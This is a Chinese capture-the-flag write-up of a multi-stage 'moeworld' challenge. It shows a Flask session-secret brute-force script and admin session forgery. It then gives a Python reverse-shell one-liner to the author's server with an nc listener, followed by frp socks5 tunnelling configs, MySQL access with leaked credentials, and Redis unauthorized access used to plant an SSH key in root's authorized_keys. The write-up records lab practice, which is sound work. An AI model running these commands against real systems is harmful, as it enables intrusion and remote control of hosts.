西电的新生赛题目还是不错的,(打打新生赛做下康复训练

前面的题目就不讲了,感觉最后一题还挺好玩的,特此记录一下。

moeworld


Part 1


首先做出来了前面的“出去旅游的心海”题目拿到了压缩包的密码,打开之后得到一个md文件和一个密码保护的hint.zip

moeworld.md

接下来进入题目环境,上来是一个登录界面,随便注册一个账号登录发现是一个留言板应用:

留言板

从留言板上可以看到,admin写出了session密钥的构造形式,看起来最后仅有16^4个组合,可以考虑进行密钥爆破进而进行session伪造。

这里用到了这个工具:

GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder

我利用这个工具写了一个小脚本用来爆破出session密钥:

1
2
3
4
5
6
7
8
9
10
from flask_session_cookie_manager3 import *
import itertools
hex_digits = "0123456789abcdef"
test = "eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6Im5ha2FpaSJ9.ZQqVzQ.-VZSo904utx0bTIORNSfyudXig4" #一个session样本
result = itertools.product(hex_digits, hex_digits, hex_digits, hex_digits)
for r in result:
secret = "This-random-secretKey-you-can't-get"+"".join(r)
if FSCM.decode(test,secret):
print(secret)
break

这样可以很轻松爆出session密钥(这个是随机的并不通用,需要自己爆破):
密钥

同样是使用这个工具,首先看一下session解码后的格式:
解码

语义还是比较清晰的,分别是权限和用户名,既然知道了如何构造以及构造所需要的密钥,那么下面就来伪造admin用户的session:

编码

这样就进入到admin账户中:
留言板

从留言板中可以看到多出来了这么一条,那这样思路就很明晰了,制造错误进入调试模式,进而命令执行。将session格式中的power键删掉。

构造不完整session

替换原来的session后成功进入到调试模式,输入PIN码后可以在console中执行python命令。

调试模式

可以在这里进行命令执行,但是感觉有些麻烦所以我这里直接用python反弹shell到我的云服务器。在服务器中使用命令

1
sudo nc -lvvnp 端口

使用nc监听一个指定端口,之后在调试模式中执行命令将/bin/sh反弹回来:

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("服务器IP",监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

反弹shell

这样在服务器中可以看到shell已经成功弹了出来,之后查看根目录,从根目录下能看到有flag文件和readme文件:

flag1

这样我们就得到了第一部分flag和一些提示。

Part 2


在/app/tools目录下有fscan工具,内网概念比较宽泛,试了好几次c段和b段内网扫描,时间用得不是很长,可是依旧一无所获。突然想到可以找找内网主机相关记录缩小扫描范围,像/etc/hosts, /proc/net/tcp, /proc/net/udp, /proc/net/dev这些都会有主机记录,最后在/etc/hosts文件中锁定了内网网段:

内网主机记录

那下面就使用fscan工具扫描一下172.20.0.1/24172.21.0.1/24这两个网段,最终找到了需要的结果。

扫描结果

这样,根据之前moeworld.md的内容,得到压缩包密码为:22-3306-6379-8080 (看样例我先入为主以为是三个的组合,于是进行了一波手动全排列也没得到答案QwQ),之后解开hint.zip得到了hint文件,改后缀txt得到下一步提示:

hint

学习了一波frp,搞明白了使用方法。大概的流程为:

1
我的本地主机(kali)<==使用proxychains连接==>我的有公网IP的服务器(frps)<==>靶机(frpc)

因此我们首先需要将服务器与靶机建立连接,分别为服务器和靶机配置frps.ini和frpc.ini,注意这里在靶机的用户由于权限受限,因此需要到/tmp目录下写一个frpc.ini配置文件,之后再引用。这里直接贴出两个配置文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# frps.ini
[common]
bind_port = 服务器上建立连接的端口
token = 随便设置一个token
# frpc.ini
[common]
server_addr = 服务器IP
server_port = 服务器上的建立连接的端口
token = 对应上面的token

[plugin_socks5]
type = tcp
plugin = socks5
remote_port = 服务器上的服务端口
# 服务器端使用命令 sudo ./frps -c frps.ini开启服务
# 靶机使用命令 /app/tools/frpc -c /tmp/frpc.ini开启服务

靶机如何写入配置文件?可以使用echo命令,-e参数来使能转义,配合重定向输出符号>来写入文件:

1
echo -e '[common]\nserver_addr = 服务器IP\nserver_port = 服务器上建立连接的端口\ntoken = 对应的token\n\n[plugin_socks5]\ntype = tcp\nplugin = socks5\nremote_port = 服务器上的服务端口\n' > frpc.ini

这样服务器和靶机就建立了连接,靶机的网络环境被穿透出来,在本地主机修改/etc/proxychains4.conf文件,最底部添加

1
socks5 服务器IP 服务器上的服务端口

这样修改保存后,在本地主机执行命令前加入proxychains的前缀即可调用proxychains获得内网环境。下一步就是连接数据库了。数据库账号密码从何而来?在/app/dataSql.py文件中写好了数据库账号密码。

1
proxychians4 mysql -uroot -pThe_P0sswOrD_Y0u_Nev3r_Kn0w  -h172.20.0.3

mysql

下面就是正常的看数据库名,看表名,能看到有flag表,直接查询得到第二部分flag。(这里卡了两天,之前死活连接不上数据库,跟出题人联系后发现是靶机容器网卡有问题。。。以后有问题一定要及时与出题人联系)

Part 3


下面就是第三部分的flag了,轮到redis了。说到redis最著名的就是未授权访问了,使用redis-cli尝试直接进行连接并尝试执行info命令,可以看到成功带出info信息,确实存在redis未授权访问。

redis

我这里alias pc=”proxychains4”了,相当于一个简写,写pc就代表了proxychains4.

尝试直接写入公钥进行连接。我这里用的kali,其他linux发行版大同小异。首先在本地生成用来ssh连接的公钥和私钥:

1
ssh-keygen -t rsa

一路回车,在~/.ssh目录下能看到生成了两个文件,带有.pub后缀的就是公钥文件,使用cat查看内容

在redis中分别执行命令:

1
2
3
4
5
6
7
config set dir /root/.ssh

config set dbfilename authorized_keys

set key "\n\n生成的公钥\n\n"

save

这样当每一步都返回OK则写入成功,下面在本地主机中执行命令:

1
proxychians4 ssh -i id_rsa root@172.20.0.2

ssh连接

这样就成功连接到主机,根目录下的flag即为第三部分flag,组合起来即为最终flag。

完结~